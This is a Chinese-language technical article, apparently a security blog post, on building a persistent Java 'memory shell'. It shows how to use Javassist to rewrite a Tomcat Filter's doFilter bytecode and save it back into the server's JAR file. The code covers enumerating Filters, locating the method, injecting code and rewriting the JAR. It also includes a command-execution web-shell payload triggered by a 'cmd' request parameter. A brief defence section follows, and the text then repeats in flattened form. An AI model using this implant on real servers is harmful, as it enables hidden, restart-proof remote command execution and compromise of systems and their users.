java filter马持久化
字数 1525 2025-08-25 22:59:09

Java Filter 持久化内存马技术分析与实现

1. 技术背景

Java Filter 持久化内存马是一种高级后渗透技术,通过在目标服务器的 JAR 文件中直接修改 Filter 类文件,实现恶意代码的持久化植入。这种技术与传统内存马相比具有以下特点:

  • 持久性:修改后的恶意代码会随 JAR 文件永久保存,不受服务器重启影响
  • 隐蔽性:不依赖常规的 Web 目录文件上传,直接在现有 JAR 文件中植入
  • 灵活性:可针对 Filter、Servlet、Listener 等多种组件进行修改

2. 技术原理

2.1 核心思路

  1. 定位目标服务器中需要修改的 Filter 类
  2. 使用 JavaAssist 动态修改类字节码,插入恶意代码
  3. 直接修改包含该类的 JAR 文件,实现持久化

2.2 与传统内存马的区别

传统内存马通常:

  • 通过反射动态注册 Filter
  • 仅存在于内存中,重启后失效
  • 容易被内存扫描工具检测

持久化内存马:

  • 直接修改现有 Filter 实现类
  • 修改后的代码会随 JAR 文件永久保存
  • 更难以被常规检测手段发现

3. 技术实现步骤

3.1 环境准备

  • 目标环境:Tomcat 8.5.65(其他中间件原理类似)
  • 依赖工具:JavaAssist(用于字节码修改)
  • 权限要求:Webshell 执行权限

3.2 实现流程

3.2.1 扫描所有 Filter

参考 c0ny1 的 tomcat-memshell-scanner.jsp 扫描出所有 Filter:

// 扫描代码示例(简化版)
Enumeration<FilterDef> filters = ((StandardContext)standardContext).getFilterDefs().elements();
while (filters.hasMoreElements()) {
    FilterDef filterDef = filters.nextElement();
    String filterName = filterDef.getFilterName();
    String filterClass = filterDef.getFilterClass();
    // 记录Filter名称和类名
}

3.2.2 定位需要修改的类和方法

通过反射查找目标 Filter 的真实 doFilter 方法所在类:

public static Object getTrueMethod(String className, String methodName, Class<?>... param) 
    throws ClassNotFoundException {
    if (className != null) {
        Method method = null;
        Class<?> clazz = Class.forName(className);
        while (clazz != Object.class) {
            try {
                method = clazz.getDeclaredMethod(methodName, param);
                return clazz;
            } catch (Exception e) {
                // 忽略异常,继续查找父类
            }
            clazz = clazz.getSuperclass();
        }
    }
    return null;
}

3.2.3 使用 JavaAssist 修改字节码

关键代码实现:

public void doInject() throws ClassNotFoundException {
    Class<?> clazz = null;
    ClassPool classPool = ClassPool.getDefault();
    
    // 添加当前类路径到ClassPool
    ClassClassPath classPath = new ClassClassPath(this.getClass());
    classPool.insertClassPath(classPath);
    
    // 获取目标类和方法
    clazz = (Class<?>) getTrueMethod(className, methodName, 
            new Class[]{ServletRequest.class, ServletResponse.class, FilterChain.class});
    
    try {
        // 获取相关接口类
        CtClass CtServletRequest = classPool.get(ServletRequest.class.getName());
        CtClass CtServletResponse = classPool.get(ServletResponse.class.getName());
        CtClass CtFilterChain = classPool.get(FilterChain.class.getName());
        
        String className = clazz.getName();
        CtClass cc = classPool.get(className);
        
        // 获取doFilter方法
        CtMethod m = cc.getDeclaredMethod("doFilter", 
                new CtClass[]{CtServletRequest, CtServletResponse, CtFilterChain});
        
        // 在doFilter方法开头插入恶意代码
        m.insertBefore("System.out.println(\"test by change inject!\");");
        
        // 更新JAR文件
        updateJar(jarName, className.replaceAll("\\.", "/") + ".class", cc.toBytecode());
    } catch (Exception e) {
        e.printStackTrace();
    }
}

3.2.4 修改 JAR 文件

实现 JAR 文件的读取和修改:

public static byte[] readStream(InputStream inStream) throws Exception {
    ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024];
    int len = -1;
    while ((len = inStream.read(buffer)) != -1) {
        outSteam.write(buffer, 0, len);
    }
    outSteam.close();
    inStream.close();
    return outSteam.toByteArray();
}

public static void writeJarFile(String jarFilePath, String entryName, byte[] data) 
    throws Exception {
    JarFile jarFile = new JarFile(jarFilePath);
    TreeMap<String, byte[]> tm = new TreeMap<>();
    
    // 读取原JAR所有条目
    Enumeration<JarEntry> es = jarFile.entries();
    while (es.hasMoreElements()) {
        JarEntry je = es.nextElement();
        byte[] b = readStream(jarFile.getInputStream(je));
        tm.put(je.getName(), b);
    }
    
    // 写入新JAR文件
    JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarFilePath));
    Iterator<Map.Entry<String, byte[]>> it = tm.entrySet().iterator();
    boolean has = false;
    
    while (it.hasNext()) {
        Map.Entry<String, byte[]> item = it.next();
        String name = item.getKey();
        JarEntry entry = new JarEntry(name);
        jos.putNextEntry(entry);
        
        byte[] temp;
        if (name.equals(entryName)) {
            temp = data;  // 使用修改后的类
            has = true;
        } else {
            temp = item.getValue();  // 原样保留
        }
        
        jos.write(temp, 0, temp.length);
    }
    
    // 如果是新增的类
    if (!has) {
        JarEntry newEntry = new JarEntry(entryName);
        jos.putNextEntry(newEntry);
        jos.write(data, 0, data.length);
    }
    
    jos.finish();
    jos.close();
}

4. 技术细节与注意事项

4.1 关键点

  1. 类路径处理:必须正确设置 ClassPool 的类路径,否则可能找不到相关类

    ClassClassPath classPath = new ClassClassPath(this.getClass());
    classPool.insertClassPath(classPath);
    
  2. 方法定位:需要准确找到 doFilter 方法实际所在的类(可能在其父类中)

  3. JAR 文件修改:修改时需保留原 JAR 中其他文件不变,只替换目标类

4.2 环境适配

  1. 无 JavaAssist 环境

    • 热加载 JavaAssist JAR 包
    • 或手动编译修改后的类文件再插入
  2. 不同中间件

    • 原理相同,只需定位对应的 Filter 类和 JAR 路径
    • 如 Shiro 的 shiro-web.jar

4.3 恶意代码构造

示例中使用了简单的输出语句,实际可构造更复杂的恶意功能:

m.insertBefore("
    javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest)$1;
    javax.servlet.http.HttpServletResponse res = (javax.servlet.http.HttpServletResponse)$2;
    String cmd = req.getParameter(\"cmd\");
    if (cmd != null) {
        try {
            java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));
            String line;
            StringBuilder sb = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                sb.append(line).append(\"\\n\");
            }
            res.getWriter().write(sb.toString());
        } catch (Exception e) {
            res.getWriter().write(e.getMessage());
        }
        return;
    }
    ");

5. 技术扩展

5.1 不限于 Filter

此技术同样适用于:

  • Servlet:修改 service 方法
  • Listener:修改相应事件处理方法
  • Valve:修改 invoke 方法

5.2 动态生效

即使不重启服务器,也可通过 Java Agent 技术使修改后的类动态生效,实现"即时内存马"效果。

5.3 其他应用场景

  • 利用任意文件上传漏洞(即使文件不解析)修改 JAR 中的类
  • Spring Boot 的 fat jar 修改(需处理嵌套 JAR 结构)

6. 防御建议

  1. 文件完整性检查:对关键 JAR 文件进行哈希校验
  2. 运行时保护:使用 RASP 监控类加载和修改行为
  3. 权限控制:限制 Web 应用对自身 JAR 文件的写权限
  4. 安全扫描:定期检查 JAR 文件的修改时间和内容

7. 总结

Java Filter 持久化内存马技术是一种高级的后渗透持久化手段,相比传统内存马具有更强的隐蔽性和持久性。安全研究人员应了解其原理以更好地防御,而开发人员则应加强应用的安全防护措施,防止此类攻击得逞。

Java Filter 持久化内存马技术分析与实现 1. 技术背景 Java Filter 持久化内存马是一种高级后渗透技术,通过在目标服务器的 JAR 文件中直接修改 Filter 类文件,实现恶意代码的持久化植入。这种技术与传统内存马相比具有以下特点: 持久性 :修改后的恶意代码会随 JAR 文件永久保存,不受服务器重启影响 隐蔽性 :不依赖常规的 Web 目录文件上传,直接在现有 JAR 文件中植入 灵活性 :可针对 Filter、Servlet、Listener 等多种组件进行修改 2. 技术原理 2.1 核心思路 定位目标服务器中需要修改的 Filter 类 使用 JavaAssist 动态修改类字节码,插入恶意代码 直接修改包含该类的 JAR 文件,实现持久化 2.2 与传统内存马的区别 传统内存马通常: 通过反射动态注册 Filter 仅存在于内存中,重启后失效 容易被内存扫描工具检测 持久化内存马: 直接修改现有 Filter 实现类 修改后的代码会随 JAR 文件永久保存 更难以被常规检测手段发现 3. 技术实现步骤 3.1 环境准备 目标环境:Tomcat 8.5.65(其他中间件原理类似) 依赖工具:JavaAssist(用于字节码修改) 权限要求:Webshell 执行权限 3.2 实现流程 3.2.1 扫描所有 Filter 参考 c0ny1 的 tomcat-memshell-scanner.jsp 扫描出所有 Filter: 3.2.2 定位需要修改的类和方法 通过反射查找目标 Filter 的真实 doFilter 方法所在类: 3.2.3 使用 JavaAssist 修改字节码 关键代码实现: 3.2.4 修改 JAR 文件 实现 JAR 文件的读取和修改: 4. 技术细节与注意事项 4.1 关键点 类路径处理 :必须正确设置 ClassPool 的类路径,否则可能找不到相关类 方法定位 :需要准确找到 doFilter 方法实际所在的类(可能在其父类中) JAR 文件修改 :修改时需保留原 JAR 中其他文件不变,只替换目标类 4.2 环境适配 无 JavaAssist 环境 : 热加载 JavaAssist JAR 包 或手动编译修改后的类文件再插入 不同中间件 : 原理相同,只需定位对应的 Filter 类和 JAR 路径 如 Shiro 的 shiro-web.jar 4.3 恶意代码构造 示例中使用了简单的输出语句,实际可构造更复杂的恶意功能: 5. 技术扩展 5.1 不限于 Filter 此技术同样适用于: Servlet :修改 service 方法 Listener :修改相应事件处理方法 Valve :修改 invoke 方法 5.2 动态生效 即使不重启服务器,也可通过 Java Agent 技术使修改后的类动态生效,实现"即时内存马"效果。 5.3 其他应用场景 利用任意文件上传漏洞(即使文件不解析)修改 JAR 中的类 Spring Boot 的 fat jar 修改(需处理嵌套 JAR 结构) 6. 防御建议 文件完整性检查 :对关键 JAR 文件进行哈希校验 运行时保护 :使用 RASP 监控类加载和修改行为 权限控制 :限制 Web 应用对自身 JAR 文件的写权限 安全扫描 :定期检查 JAR 文件的修改时间和内容 7. 总结 Java Filter 持久化内存马技术是一种高级的后渗透持久化手段,相比传统内存马具有更强的隐蔽性和持久性。安全研究人员应了解其原理以更好地防御,而开发人员则应加强应用的安全防护措施,防止此类攻击得逞。